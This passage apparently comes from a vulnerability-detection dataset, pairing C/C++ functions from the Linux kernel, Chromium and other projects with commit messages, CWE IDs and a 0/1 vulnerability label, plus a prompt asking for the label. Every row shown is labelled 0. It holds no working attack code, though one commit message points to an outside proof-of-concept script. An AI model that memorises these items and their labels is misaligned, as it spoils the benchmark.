p[-1] = '\0';
if (!e->magic[0])
goto Einval;
e->mask = p;
p = scanarg(p, del);
if (!p)
goto Einval;
p[-1] = '\0';
if (!e->mask[0])
e->mask = NULL;
e->size = unquote(e->magic);
if (e->mask && unquote(e->mask) != e->size)
goto Einval;
if (e->size + e->offset > BINPRM_BUF_SIZE)
goto Einval;
} else {
p = strchr(p, del);
if (!p)
goto Einval;
*p++ = '\0';
e->magic = p;
p = strchr(p, del);
if (!p)
goto Einval;
*p++ = '\0';
if (!e->magic[0] || strchr(e->magic, '/'))
goto Einval;
p = strchr(p, del);
if (!p)
goto Einval;
*p++ = '\0';
}
e->interpreter = p;
p = strchr(p, del);
if (!p)
goto Einval;
*p++ = '\0';
if (!e->interpreter[0])
goto Einval;
p = check_special_flags (p, e);
if (*p == '\n')
p++;
if (p != buf + count)
goto Einval;
return e;
out:
return ERR_PTR(err);
Efault:
kfree(e);
return ERR_PTR(-EFAULT);
Einval:
kfree(e);
return ERR_PTR(-EINVAL);
}
Commit Message: exec: do not leave bprm->interp on stack
If a series of scripts are executed, each triggering module loading via
unprintable bytes in the script header, kernel stack contents can leak
into the command line.
Normally execution of binfmt_script and binfmt_misc happens recursively.
However, when modules are enabled, and unprintable bytes exist in the
bprm->buf, execution will restart after attempting to load matching
binfmt modules. Unfortunately, the logic in binfmt_script and
binfmt_misc does not expect to get restarted. They leave bprm->interp
pointing to their local stack. This means on restart bprm->interp is
left pointing into unused stack memory which can then be copied into the
userspace argv areas.
After additional study, it seems that both recursion and restart remains
the desirable way to handle exec with scripts, misc, and modules. As
such, we need to protect the changes to interp.
This changes the logic to require allocation for any changes to the
bprm->interp. To avoid adding a new kmalloc to every exec, the default
value is left as-is. Only when passing through binfmt_script or
binfmt_misc does an allocation take place.
For a proof of concept, see DoTest.sh from:
http://www.halfdog.net/Security/2012/LinuxKernelBinfmtScriptStackDataDisclosure/
Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: halfdog <me@halfdog.net>
Cc: P J P <ppandit@redhat.com>
Cc: Alexander Viro <viro@zeniv.linux.org.uk>
Cc: <stable@vger.kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-200 | 0 | 34,513 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool FileTransfer::LookupInFileCatalog(const char *fname, time_t *mod_time, filesize_t *filesize) {
CatalogEntry *entry = 0;
MyString fn = fname;
if (last_download_catalog->lookup(fn, entry) == 0) {
if (mod_time) {
*mod_time = entry->modification_time;
}
if (filesize) {
*filesize = entry->filesize;
}
return true;
} else {
return false;
}
}
Commit Message:
CWE ID: CWE-134 | 0 | 16,589 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: exsltDateMonthNameFunction (xmlXPathParserContextPtr ctxt, int nargs)
{
xmlChar *dt = NULL;
const xmlChar *ret;
if ((nargs < 0) || (nargs > 1)) {
xmlXPathSetArityError(ctxt);
return;
}
if (nargs == 1) {
dt = xmlXPathPopString(ctxt);
if (xmlXPathCheckError(ctxt)) {
xmlXPathSetTypeError(ctxt);
return;
}
}
ret = exsltDateMonthName(dt);
if (dt != NULL)
xmlFree(dt);
if (ret == NULL)
xmlXPathReturnEmptyString(ctxt);
else
xmlXPathReturnString(ctxt, xmlStrdup(ret));
}
Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7
BUG=583156,583171
Review URL: https://codereview.chromium.org/1853083002
Cr-Commit-Position: refs/heads/master@{#385338}
CWE ID: CWE-119 | 0 | 156,621 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)
{
struct msg_msg *msg, *found = NULL;
long count = 0;
list_for_each_entry(msg, &msq->q_messages, m_list) {
if (testmsg(msg, *msgtyp, mode) &&
!security_msg_queue_msgrcv(msq, msg, current,
*msgtyp, mode)) {
if (mode == SEARCH_LESSEQUAL && msg->m_type != 1) {
*msgtyp = msg->m_type - 1;
found = msg;
} else if (mode == SEARCH_NUMBER) {
if (*msgtyp == count)
return msg;
} else
return msg;
count++;
}
}
return found ?: ERR_PTR(-EAGAIN);
}
Commit Message: Initialize msg/shm IPC objects before doing ipc_addid()
As reported by Dmitry Vyukov, we really shouldn't do ipc_addid() before
having initialized the IPC object state. Yes, we initialize the IPC
object in a locked state, but with all the lockless RCU lookup work,
that IPC object lock no longer means that the state cannot be seen.
We already did this for the IPC semaphore code (see commit e8577d1f0329:
"ipc/sem.c: fully initialize sem_array before making it visible") but we
clearly forgot about msg and shm.
Reported-by: Dmitry Vyukov <dvyukov@google.com>
Cc: Manfred Spraul <manfred@colorfullife.com>
Cc: Davidlohr Bueso <dbueso@suse.de>
Cc: stable@vger.kernel.org
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-362 | 0 | 41,998 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static inline float distanceToChildLayoutObject(LayoutObject* child, const FloatPoint& point)
{
const AffineTransform& localToParentTransform = child->localToSVGParentTransform();
if (!localToParentTransform.isInvertible())
return std::numeric_limits<float>::max();
FloatPoint childLocalPoint = localToParentTransform.inverse().mapPoint(point);
return child->objectBoundingBox().squaredDistanceTo(childLocalPoint);
}
Commit Message: Avoid using forced layout to trigger paint invalidation for SVG containers
Currently, SVG containers in the LayoutObject hierarchy force layout of
their children if the transform changes. The main reason for this is to
trigger paint invalidation of the subtree. In some cases - changes to the
scale factor - there are other reasons to trigger layout, like computing
a new scale factor for <text> or re-layout nodes with non-scaling stroke.
Compute a "scale-factor change" in addition to the "transform change"
already computed, then use this new signal to determine if layout should
be forced for the subtree. Trigger paint invalidation using the
LayoutObject flags instead.
The downside to this is that paint invalidation will walk into "hidden"
containers which rarely require repaint (since they are not technically
visible). This will hopefully be rectified in a follow-up CL.
For the testcase from 603850, this essentially eliminates the cost of
layout (from ~350ms to ~0ms on authors machine; layout cost is related
to text metrics recalculation), bumping frame rate significantly.
BUG=603956,603850
Review-Url: https://codereview.chromium.org/1996543002
Cr-Commit-Position: refs/heads/master@{#400950}
CWE ID: | 0 | 121,152 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void convert_32s2u_C1R(const OPJ_INT32* pSrc, OPJ_BYTE* pDst,
OPJ_SIZE_T length)
{
OPJ_SIZE_T i;
for (i = 0; i < (length & ~(OPJ_SIZE_T)3U); i += 4U) {
OPJ_UINT32 src0 = (OPJ_UINT32)pSrc[i + 0];
OPJ_UINT32 src1 = (OPJ_UINT32)pSrc[i + 1];
OPJ_UINT32 src2 = (OPJ_UINT32)pSrc[i + 2];
OPJ_UINT32 src3 = (OPJ_UINT32)pSrc[i + 3];
*pDst++ = (OPJ_BYTE)((src0 << 6) | (src1 << 4) | (src2 << 2) | src3);
}
if (length & 3U) {
OPJ_UINT32 src0 = (OPJ_UINT32)pSrc[i + 0];
OPJ_UINT32 src1 = 0U;
OPJ_UINT32 src2 = 0U;
length = length & 3U;
if (length > 1U) {
src1 = (OPJ_UINT32)pSrc[i + 1];
if (length > 2U) {
src2 = (OPJ_UINT32)pSrc[i + 2];
}
}
*pDst++ = (OPJ_BYTE)((src0 << 6) | (src1 << 4) | (src2 << 2));
}
}
Commit Message: pgxtoimage(): fix write stack buffer overflow (#997)
CWE ID: CWE-787 | 0 | 61,871 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void RenderFrameHostImpl::CreateAudioInputStreamFactory(
mojom::RendererAudioInputStreamFactoryRequest request) {
BrowserMainLoop* browser_main_loop = BrowserMainLoop::GetInstance();
DCHECK(browser_main_loop);
audio_input_stream_factory_ =
RenderFrameAudioInputStreamFactoryHandle::CreateFactory(
base::BindRepeating(&AudioInputDelegateImpl::Create,
media::AudioManager::Get(),
AudioMirroringManager::GetInstance(),
browser_main_loop->user_input_monitor(),
GetProcess()->GetID(), GetRoutingID()),
browser_main_loop->media_stream_manager(), GetProcess()->GetID(),
GetRoutingID(), std::move(request));
}
Commit Message: Apply ExtensionNavigationThrottle filesystem/blob checks to all frames.
BUG=836858
Change-Id: I34333a72501129fd40b5a9aa6378c9f35f1e7fc2
Reviewed-on: https://chromium-review.googlesource.com/1028511
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Alex Moshchuk <alexmos@chromium.org>
Reviewed-by: Nick Carter <nick@chromium.org>
Commit-Queue: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#553867}
CWE ID: CWE-20 | 0 | 155,974 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int alloc_debug_processing(struct kmem_cache *s, struct page *page,
void *object, void *addr)
{
if (!check_slab(s, page))
goto bad;
if (!on_freelist(s, page, object)) {
object_err(s, page, object, "Object already allocated");
goto bad;
}
if (!check_valid_pointer(s, page, object)) {
object_err(s, page, object, "Freelist Pointer check fails");
goto bad;
}
if (!check_object(s, page, object, 0))
goto bad;
/* Success perform special debug activities for allocs */
if (s->flags & SLAB_STORE_USER)
set_track(s, object, TRACK_ALLOC, addr);
trace(s, page, object, 1);
init_object(s, object, 1);
return 1;
bad:
if (PageSlab(page)) {
/*
* If this is a slab page then lets do the best we can
* to avoid issues in the future. Marking all objects
* as used avoids touching the remaining objects.
*/
slab_fix(s, "Marking all objects used");
page->inuse = page->objects;
page->freelist = NULL;
}
return 0;
}
Commit Message: remove div_long_long_rem
x86 is the only arch right now, which provides an optimized for
div_long_long_rem and it has the downside that one has to be very careful that
the divide doesn't overflow.
The API is a little akward, as the arguments for the unsigned divide are
signed. The signed version also doesn't handle a negative divisor and
produces worse code on 64bit archs.
There is little incentive to keep this API alive, so this converts the few
users to the new API.
Signed-off-by: Roman Zippel <zippel@linux-m68k.org>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: john stultz <johnstul@us.ibm.com>
Cc: Christoph Lameter <clameter@sgi.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-189 | 0 | 24,756 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool StyleResolver::checkRegionStyle(Element* regionElement)
{
if (ScopedStyleResolver* scopedResolver = m_styleTree.scopedStyleResolverForDocument()) {
if (scopedResolver->checkRegionStyle(regionElement))
return true;
}
return false;
}
Commit Message: Remove the Simple Default Stylesheet, it's just a foot-gun.
We've been bitten by the Simple Default Stylesheet being out
of sync with the real html.css twice this week.
The Simple Default Stylesheet was invented years ago for Mac:
http://trac.webkit.org/changeset/36135
It nicely handles the case where you just want to create
a single WebView and parse some simple HTML either without
styling said HTML, or only to display a small string, etc.
Note that this optimization/complexity *only* helps for the
very first document, since the default stylesheets are
all static (process-global) variables. Since any real page
on the internet uses a tag not covered by the simple default
stylesheet, not real load benefits from this optimization.
Only uses of WebView which were just rendering small bits
of text might have benefited from this. about:blank would
also have used this sheet.
This was a common application for some uses of WebView back
in those days. These days, even with WebView on Android,
there are likely much larger overheads than parsing the
html.css stylesheet, so making it required seems like the
right tradeoff of code-simplicity for this case.
BUG=319556
Review URL: https://codereview.chromium.org/73723005
git-svn-id: svn://svn.chromium.org/blink/trunk@162153 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399 | 0 | 118,954 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int check_raw_mode(const struct bpf_func_proto *fn)
{
int count = 0;
if (fn->arg1_type == ARG_PTR_TO_UNINIT_MEM)
count++;
if (fn->arg2_type == ARG_PTR_TO_UNINIT_MEM)
count++;
if (fn->arg3_type == ARG_PTR_TO_UNINIT_MEM)
count++;
if (fn->arg4_type == ARG_PTR_TO_UNINIT_MEM)
count++;
if (fn->arg5_type == ARG_PTR_TO_UNINIT_MEM)
count++;
return count > 1 ? -EINVAL : 0;
}
Commit Message: bpf: fix branch pruning logic
when the verifier detects that register contains a runtime constant
and it's compared with another constant it will prune exploration
of the branch that is guaranteed not to be taken at runtime.
This is all correct, but malicious program may be constructed
in such a way that it always has a constant comparison and
the other branch is never taken under any conditions.
In this case such path through the program will not be explored
by the verifier. It won't be taken at run-time either, but since
all instructions are JITed the malicious program may cause JITs
to complain about using reserved fields, etc.
To fix the issue we have to track the instructions explored by
the verifier and sanitize instructions that are dead at run time
with NOPs. We cannot reject such dead code, since llvm generates
it for valid C code, since it doesn't do as much data flow
analysis as the verifier does.
Fixes: 17a5267067f3 ("bpf: verifier (add verifier core)")
Signed-off-by: Alexei Starovoitov <ast@kernel.org>
Acked-by: Daniel Borkmann <daniel@iogearbox.net>
Signed-off-by: Daniel Borkmann <daniel@iogearbox.net>
CWE ID: CWE-20 | 0 | 59,123 |
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